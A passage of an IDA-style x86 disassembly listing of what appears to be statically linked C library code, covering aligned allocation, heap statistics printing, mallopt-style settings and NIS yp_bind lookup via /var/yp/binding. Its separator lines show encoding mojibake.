byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] cmp ebx, 8 ja short loc_805C7FC push edx call malloc jmp loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C7FC: ; CODE XREF: sub_805C7DC+12j cmp ebx, 0Fh ja short loc_805C806 mov ebx, 10h loc_805C806: ; CODE XREF: sub_805C7DC+23j cmp edx, 0Bh jle short loc_805C814 lea edi, [edx+0Bh] and edi, 0FFFFFFF8h jmp short loc_805C819 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C814: ; CODE XREF: sub_805C7DC+2Dj mov edi, 10h loc_805C819: ; CODE XREF: sub_805C7DC+35j lea eax, [ebx+edi+10h] push eax call malloc mov [ebp+var_4], eax add esp, 4 test eax, eax jnz short loc_805C834 xor eax, eax jmp loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C834: ; CODE XREF: sub_805C7DC+4Fj mov esi, [ebp+var_4] add esi, 0FFFFFFFCh mov eax, [ebp+var_4] xor edx, edx div ebx test edx, edx jnz short loc_805C858 mov eax, [ebp+var_4] test byte ptr [eax-4], 2 jz short loc_805C8B8 mov eax, [ebp+var_4] jmp loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C858: ; CODE XREF: sub_805C7DC+67j mov eax, [ebp+var_4] lea edx, [ebx+eax-1] mov eax, ebx neg eax and edx, eax add edx, 0FFFFFFFCh mov eax, edx sub eax, esi cmp eax, 0Fh ja short loc_805C873 add edx, ebx loc_805C873: ; CODE XREF: sub_805C7DC+93j mov ebx, edx sub edx, esi mov ecx, [esi] and cl, 0FCh sub ecx, edx test byte ptr [esi], 2 jz short loc_805C894 add edx, [esi-4] mov [ebx-4], edx or cl, 2 mov [ebx], ecx lea eax, [ebx+4] jmp short loc_805C8E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805C894: ; CODE XREF: sub_805C7DC+A5j mov eax, ecx or al, 1 mov [ebx], eax or byte ptr [ecx+ebx], 1 mov eax, [esi] and eax, 1 or edx, eax mov [esi], edx add esi, 4 mov [ebp+var_4], esi push esi call free mov esi, ebx add esp, 4 loc_805C8B8: ; CODE XREF: sub_805C7DC+70j mov edx, [esi] and dl, 0FCh sub edx, edi cmp edx, 0Fh jle short loc_805C8DE lea eax, [edi+esi] or dl, 1 mov [eax], edx mov edx, [esi] and edx, 1 or edx, edi mov [esi], edx add eax, 4 push eax call free loc_805C8DE: ; CODE XREF: sub_805C7DC+E6j lea eax, [esi+4] loc_805C8E1: ; CODE XREF: sub_805C7DC+1Aj ; sub_805C7DC+53j ... lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805C7DC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805C8EC proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax push 1000h call sub_805C7DC mov esp, ebp pop ebp retn sub_805C8EC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805C904 proc near ; CODE XREF: sub_8067094+16p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] imul eax, [ebp+arg_4] push eax call malloc mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_805C924 xor eax, eax jmp short loc_805C93D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C924: ; CODE XREF: sub_805C904+18j test byte ptr [ebx-4], 2 jnz short loc_805C93B mov eax, [ebx-4] and al, 0FCh add eax, 0FFFFFFFCh push eax push 0 push ebx call memset loc_805C93B: ; CODE XREF: sub_805C904+24j mov eax, ebx loc_805C93D: ; CODE XREF: sub_805C904+1Cj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805C904 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805C944 proc near ; CODE XREF: free+82p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov eax, dword_8078B38 mov esi, [eax] and esi, 0FFFFFFFCh mov ebx, esi sub ebx, [ebp+arg_0] add ebx, 0FEFh mov eax, ebx shr eax, 0Ch lea ebx, [eax-1] shl ebx, 0Ch cmp ebx, 1000h jl short loc_805C9CC push 0 mov eax, dword_8078B30 call eax ; sub_8065DE0 mov edx, eax mov eax, esi add eax, dword_8078B38 add esp, 4 cmp edx, eax jnz short loc_805C9CC mov eax, ebx neg eax push eax mov eax, dword_8078B30 call eax ; sub_8065DE0 add esp, 4 test eax, eax jnz short loc_805C9D0 push 0 mov eax, dword_8078B30 call eax ; sub_8065DE0 mov edx, eax mov esi, edx sub esi, dword_8078B38 cmp esi, 0Fh jle short loc_805C9CC sub edx, dword_8078F4C mov dword_8078F58, edx mov eax, dword_8078B38 or esi, 1 mov [eax], esi loc_805C9CC: ; CODE XREF: sub_805C944+2Bj ; sub_805C944+45j ... xor eax, eax jmp short loc_805C9E9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805C9D0: ; CODE XREF: sub_805C944+58j mov edx, dword_8078B38 mov eax, esi sub eax, ebx or al, 1 mov [edx], eax sub dword_8078F58, ebx mov eax, 1 loc_805C9E9: ; CODE XREF: sub_805C944+8Aj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_805C944 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805C9F4 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_805CA04 loc_805C9FE: ; CODE XREF: sub_805C9F4+22j xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805CA04: ; CODE XREF: sub_805C9F4+8j lea edx, [eax-4] test byte ptr [eax-4], 2 jnz short loc_805CA18 mov eax, [eax-4] and al, 0FEh test byte ptr [eax+edx], 1 jz short loc_805C9FE loc_805CA18: ; CODE XREF: sub_805C9F4+17j mov eax, [edx] and al, 0FCh add eax, 0FFFFFFFCh mov esp, ebp pop ebp retn sub_805C9F4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805CA24 proc near ; CODE XREF: sub_805CBA8+3p ; sub_805CC18+9p var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov eax, dword_8078B38 mov ebx, [eax] and bl, 0FCh cmp ebx, 0Fh setnle al movzx ecx, al mov esi, offset dword_8078B3C mov [ebp+var_8], 8 mov edx, dword_8078B44 cmp edx, offset dword_8078B3C jz short loc_805CA6A lea esi, [esi] loc_805CA5C: ; CODE XREF: sub_805CA24+44j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CA5C loc_805CA6A: ; CODE XREF: sub_805CA24+34j add esi, 8 add [ebp+var_8], 8 mov edi, [ebp+var_8] mov edx, dword_8078B3C[edi] cmp edx, esi jz short loc_805CA8E lea esi, [esi] loc_805CA80: ; CODE XREF: sub_805CA24+68j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CA80 loc_805CA8E: ; CODE XREF: sub_805CA24+58j add esi, 8 add [ebp+var_8], 8 mov edi, [ebp+var_8] mov edx, dword_8078B3C[edi] cmp edx, esi jz short loc_805CAB2 lea esi, [esi] loc_805CAA4: ; CODE XREF: sub_805CA24+8Cj mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CAA4 loc_805CAB2: ; CODE XREF: sub_805CA24+7Cj add esi, 8 add [ebp+var_8], 8 cmp esi, offset off_8078F34 jz loc_805CB62 mov edi, [ebp+var_8] add edi, offset dword_8078B3C mov [ebp+var_4], edi db 8Dh,76h,0 ; lea esi, [esi+0] loc_805CAD4: ; CODE XREF: sub_805CA24+138j mov edi, [ebp+var_4] mov edx, [edi] cmp edx, esi jz short loc_805CAEE db 8Dh,76h,0 ; lea esi, [esi+0] loc_805CAE0: ; CODE XREF: sub_805CA24+C8j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp edx, esi jnz short loc_805CAE0 loc_805CAEE: ; CODE XREF: sub_805CA24+B7j lea edi, [esi+8] mov [ebp+var_8], edi mov edi, [ebp+var_4] mov edx, [edi+8] cmp [ebp+var_8], edx jz short loc_805CB0F nop loc_805CB00: ; CODE XREF: sub_805CA24+E9j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp [ebp+var_8], edx jnz short loc_805CB00 loc_805CB0F: ; CODE XREF: sub_805CA24+D9j lea edi, [esi+10h] mov [ebp+var_8], edi mov edi, [ebp+var_4] mov edx, [edi+10h] cmp [ebp+var_8], edx jz short loc_805CB2F loc_805CB20: ; CODE XREF: sub_805CA24+109j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp [ebp+var_8], edx jnz short loc_805CB20 loc_805CB2F: ; CODE XREF: sub_805CA24+FAj lea edi, [esi+18h] mov [ebp+var_8], edi mov edi, [ebp+var_4] mov edx, [edi+18h] cmp [ebp+var_8], edx jz short loc_805CB4F loc_805CB40: ; CODE XREF: sub_805CA24+129j mov eax, [edx] and al, 0FCh add ebx, eax inc ecx mov edx, [edx+8] cmp [ebp+var_8], edx jnz short loc_805CB40 loc_805CB4F: ; CODE XREF: sub_805CA24+11Aj add esi, 20h add [ebp+var_4], 20h cmp esi, offset off_8078F34 jnz loc_805CAD4 loc_805CB62: ; CODE XREF: sub_805CA24+9Bj mov dword_8078F5C, ecx mov edi, dword_8078F58 sub edi, ebx mov dword_8078F74, edi mov dword_8078F78, ebx mov eax, dword_8078F80 mov dword_8078F64, eax mov eax, dword_8078F88 mov dword_8078F68, eax mov eax, dword_8078B38 mov eax, [eax] and al, 0FCh mov dword_8078F7C, eax lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CA24 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805CBA8 proc near push ebp mov ebp, esp call sub_805CA24 mov eax, dword_8078F54 push eax push offset aMaxSystemBytes ; "max system bytes = %10u\n" push offset unk_80787A4 call fprintf mov eax, dword_8078F58 add eax, dword_8078F88 push eax push offset aSystemBytes10u ; "system bytes = %10u\n" push offset unk_80787A4 call fprintf mov eax, dword_8078F74 add eax, dword_8078F88 push eax push offset aInUseBytes10u ; "in use bytes = %10u\n" push offset unk_80787A4 call fprintf add esp, 24h mov eax, dword_8078F84 push eax push offset aMaxMmapRegions ; "max mmap regions = %10u\n" push offset unk_80787A4 call fprintf mov esp, ebp pop ebp retn sub_805CBA8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805CC18 proc near var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] call sub_805CA24 mov edi, ebx mov esi, offset dword_8078F58 cld mov ecx, 0Ah repe movsd mov eax, ebx lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CC18 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805CC44 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] cmp eax, 0FFFFFFFDh jz short loc_805CC88 jg short loc_805CC5C cmp eax, 0FFFFFFFCh jz short loc_805CC98 jmp short loc_805CCA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CC5C: ; CODE XREF: sub_805CC44+Ej cmp eax, 0FFFFFFFEh jz short loc_805CC78 cmp eax, 0FFFFFFFFh jnz short loc_805CCA8 mov dword_8078F3C, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805CC78: ; CODE XREF: sub_805CC44+1Bj mov dword_8078F40, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CC88: ; CODE XREF: sub_805CC44+Cj mov dword_8078F48, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CC98: ; CODE XREF: sub_805CC44+13j mov dword_8078F44, edx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CCA8: ; CODE XREF: sub_805CC44+15j ; sub_805CC44+20j xor eax, eax mov esp, ebp pop ebp retn sub_805CC44 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805CCB0 proc near ; CODE XREF: sub_805D3A8+225p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_10] lea eax, [ebp+var_4] push eax call time mov ebx, ds:dword_807E398 add esp, 4 test ebx, ebx jz short loc_805CCEA db 8Dh,76h,0 ; lea esi, [esi+0] loc_805CCD8: ; CODE XREF: sub_805CCB0+34j mov eax, [ebx+18h] cmp [ebp+var_4], eax jg short loc_805CCE6 mov ebx, [ebx] test ebx, ebx jnz short loc_805CCD8 loc_805CCE6: ; CODE XREF: sub_805CCB0+2Ej test ebx, ebx jnz short loc_805CD14 loc_805CCEA: ; CODE XREF: sub_805CCB0+23j push 1Ch call malloc mov ebx, eax push 1Ch push ebx call sub_806626C add esp, 0Ch cmp ds:dword_807E398, 0 jz short loc_805CD0E mov eax, ds:dword_807E398 mov [ebx], eax loc_805CD0E: ; CODE XREF: sub_805CCB0+55j mov ds:dword_807E398, ebx loc_805CD14: ; CODE XREF: sub_805CCB0+38j cmp dword ptr [ebx+8], 0 jz short loc_805CD26 mov eax, [ebx+8] push eax call free add esp, 4 loc_805CD26: ; CODE XREF: sub_805CCB0+68j cmp dword ptr [ebx+0Ch], 0 jz short loc_805CD38 mov eax, [ebx+0Ch] push eax call free add esp, 4 loc_805CD38: ; CODE XREF: sub_805CCB0+7Aj mov dword ptr [ebx+8], 0 mov dword ptr [ebx+0Ch], 0 mov edx, [ebp+arg_8] push edx call malloc mov [ebx+8], eax add esp, 4 test eax, eax jz loc_805CDE3 push edi call malloc mov [ebx+0Ch], eax add esp, 4 cmp dword ptr [ebx+8], 0 jnz short loc_805CD80 push 0 call free mov dword ptr [ebx+8], 0 jmp short loc_805CDE3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CD80: ; CODE XREF: sub_805CCB0+BDj mov edx, [ebp+arg_8] mov [ebx+10h], edx mov [ebx+14h], edi mov eax, [ebx+10h] push eax mov eax, [ebx+8] push eax mov edx, [ebp+arg_4] push edx call bcopy mov eax, [ebx+14h] push eax mov eax, [ebx+0Ch] push eax mov edx, [ebp+arg_C] push edx call bcopy add esp, 18h cmp dword ptr [ebx+4], 0 jz short loc_805CDCE push esi mov eax, [ebx+4] push eax call sub_8057ADC add esp, 8 test eax, eax jz short loc_805CDD7 mov eax, [ebx+4] push eax call free loc_805CDCE: ; CODE XREF: sub_805CCB0+102j push esi call strdup mov [ebx+4], eax loc_805CDD7: ; CODE XREF: sub_805CCB0+113j mov edx, [ebp+var_4] add edx, ds:dword_8069038 mov [ebx+18h], edx loc_805CDE3: ; CODE XREF: sub_805CCB0+A7j ; sub_805CCB0+CDj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CCB0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805CDF0 proc near ; CODE XREF: sub_805D3A8+A1p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] cmp ds:dword_807E398, 0 jnz short loc_805CE24 jmp short loc_805CE75 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805CE0C: ; CODE XREF: sub_805CDF0+7Dj mov eax, [ebx+0Ch] mov edx, [ebp+arg_C] mov [edx], eax mov eax, [ebx+14h] mov edx, [ebp+arg_10] mov [edx], eax mov eax, 1 jmp short loc_805CE77 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CE24: ; CODE XREF: sub_805CDF0+16j lea eax, [ebp+var_4] push eax call time mov ebx, ds:dword_807E398 add esp, 4 test ebx, ebx jz short loc_805CE75 lea esi, [esi] loc_805CE3C: ; CODE XREF: sub_805CDF0+83j cmp [ebx+10h], esi jnz short loc_805CE6F mov edx, [ebp+arg_0] push edx mov eax, [ebx+4] push eax call sub_8057ADC add esp, 8 test eax, eax jnz short loc_805CE6F push esi push edi mov eax, [ebx+8] push eax call sub_8056450 add esp, 0Ch test eax, eax jnz short loc_805CE6F mov eax, [ebp+var_4] cmp [ebx+18h], eax jge short loc_805CE0C loc_805CE6F: ; CODE XREF: sub_805CDF0+4Fj ; sub_805CDF0+63j ... mov ebx, [ebx] test ebx, ebx jnz short loc_805CE3C loc_805CE75: ; CODE XREF: sub_805CDF0+18j ; sub_805CDF0+48j xor eax, eax loc_805CE77: ; CODE XREF: sub_805CDF0+31j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805CDF0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805CE84 proc near ; CODE XREF: sub_805D328+9p ; sub_805D3A8+66p ... var_45C = byte ptr -45Ch var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43A = byte ptr -43Ah var_438 = byte ptr -438h var_434 = dword ptr -434h var_430 = word ptr -430h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = byte ptr -41Ch var_1C = word ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 450h push edi push esi push ebx mov [ebp+var_44C], 0 call getpid mov [ebp+var_450], eax cmp dword_8078F94, 0FFFFFFFFh jz short loc_805CEF6 cmp dword_8078F94, eax jz short loc_805CEF6 mov esi, ds:dword_807EB94 test esi, esi jz short loc_805CEEC loc_805CEC0: ; CODE XREF: sub_805CE84+66j cmp dword ptr [esi+120h], 0 jz short loc_805CEDB mov edx, [esi+120h] mov ecx, [edx+4] push edx mov edx, [ecx+10h] call edx add esp, 4 loc_805CEDB: ; CODE XREF: sub_805CE84+43j mov ebx, [esi] push esi call free mov esi, ebx add esp, 4 test esi, esi jnz short loc_805CEC0 loc_805CEEC: ; CODE XREF: sub_805CE84+3Aj mov ds:dword_807EB94, 0 loc_805CEF6: ; CODE XREF: sub_805CE84+28j ; sub_805CE84+30j mov edi, [ebp+var_450] mov dword_8078F94, edi cmp [ebp+arg_4], 0 jz short loc_805CF11 mov edi, [ebp+arg_4] mov dword ptr [edi], 0 loc_805CF11: ; CODE XREF: sub_805CE84+82j cmp [ebp+arg_0], 0 jz short loc_805CF29 xor al, al mov edi, [ebp+arg_0] cld mov ecx, 0FFFFFFFFh repne scasb cmp ecx, 0FFFFFFFEh jnz short loc_805CF34 loc_805CF29: ; CODE XREF: sub_805CE84+91j mov eax, 1 jmp loc_805D2E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805CF34: ; CODE XREF: sub_805CE84+A3j mov esi, ds:dword_807EB94 test esi, esi jz short loc_805CF5E lea esi, [esi] loc_805CF40: ; CODE XREF: sub_805CE84+D4j lea edx, [esi+4] push edx mov edi, [ebp+arg_0] push edi call sub_8057ADC add esp, 8 test eax, eax jz short loc_805CF5A mov esi, [esi] test esi, esi jnz short loc_805CF40 loc_805CF5A: ; CODE XREF: sub_805CE84+CEj test esi, esi jnz short loc_805CF96 loc_805CF5E: ; CODE XREF: sub_805CE84+B8j push 12Ch call malloc mov esi, eax push 12Ch push esi call sub_806626C mov dword ptr [esi+11Ch], 0FFFFFFFFh mov dword ptr [esi+128h], 0 mov [ebp+var_44C], 1 add esp, 0Ch loc_805CF96: ; CODE XREF: sub_805CE84+D8j ; sub_805CE84+1B1j ... cmp dword ptr [esi+128h], 0 jnz loc_805D084 push 2 mov edi, [ebp+arg_0] push edi push offset aVarYpBinding ; "/var/yp/binding" push offset aSS_D ; "%s/%s.%d" lea ebx, [ebp+var_41C] push ebx call sprintf push 0 push ebx call open mov ebx, eax add esp, 1Ch test ebx, ebx jl loc_805D084 lea edi, [ebp+var_43A] mov [ebp+var_42C], edi mov [ebp+var_428], 2 lea edi, [ebp+var_438] mov [ebp+var_424], edi mov [ebp+var_420], 0Ch push 2 lea edx, [ebp+var_42C] push edx push ebx call sub_8065E1C mov edx, [ebp+var_428] add edx, [ebp+var_420] add esp, 0Ch cmp eax, edx jz short loc_805D03C push ebx call close mov dword ptr [esi+128h], 0FFFFFFFFh add esp, 4 jmp loc_805CF96 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D03C: ; CODE XREF: sub_805CE84+19Cj push 10h lea edx, [esi+108h] push edx call sub_806626C mov word ptr [esi+108h], 2 mov edx, [ebp+var_434] mov [esi+10Ch], edx mov dx, [ebp+var_430] mov [esi+10Ah], dx mov [esi+118h], dx push ebx call close add esp, 0Ch jmp loc_805D1FD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D084: ; CODE XREF: sub_805CE84+119j ; sub_805CE84+14Aj mov edx, [esi+128h] inc edx cmp edx, 1 ja loc_805D217 push 10h lea ebx, [ebp+var_1C] push ebx call sub_806626C mov [ebp+var_1C], 2 add esp, 8 mov [ebp+var_18], 100007Fh mov [ebp+var_440], 0FFFFFFFFh push 0 push 0 lea edx, [ebp+var_440] push edx push 2 push 186A7h push ebx call sub_8063B04 mov ebx, eax add esp, 18h test ebx, ebx jz short loc_805D12B mov edi, ds:dword_8069030 mov [ebp+var_448], edi mov [ebp+var_444], 0 mov edx, [ebx+4] push [ebp+var_444] push [ebp+var_448] lea ecx, [ebp+var_C] push ecx push offset sub_8066800 mov edi, [ebp+arg_0] push edi push offset sub_8066464 push 1 push ebx mov edx, [edx] call edx add esp, 20h test eax, eax jz short loc_805D144 mov edx, [ebx+4] push ebx mov edx, [edx+10h] call edx add esp, 4 loc_805D12B: ; CODE XREF: sub_805CE84+254j cmp [ebp+var_44C], 0 jz short loc_805D13A push esi call free loc_805D13A: ; CODE XREF: sub_805CE84+2AEj mov eax, 0Ah jmp loc_805D2E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805D144: ; CODE XREF: sub_805CE84+299j mov edx, [ebx+4] push ebx mov edx, [edx+10h] call edx add esp, 4 cmp [ebp+var_C], 1 jz short loc_805D1C4 mov edx, [ebp+var_8] cmp edx, 2 jz short loc_805D178 ja short loc_805D168 cmp edx, 1 jz short loc_805D170 jmp short loc_805D198 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D168: ; CODE XREF: sub_805CE84+2DAj cmp edx, 3 jz short loc_805D190 jmp short loc_805D198 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805D170: ; CODE 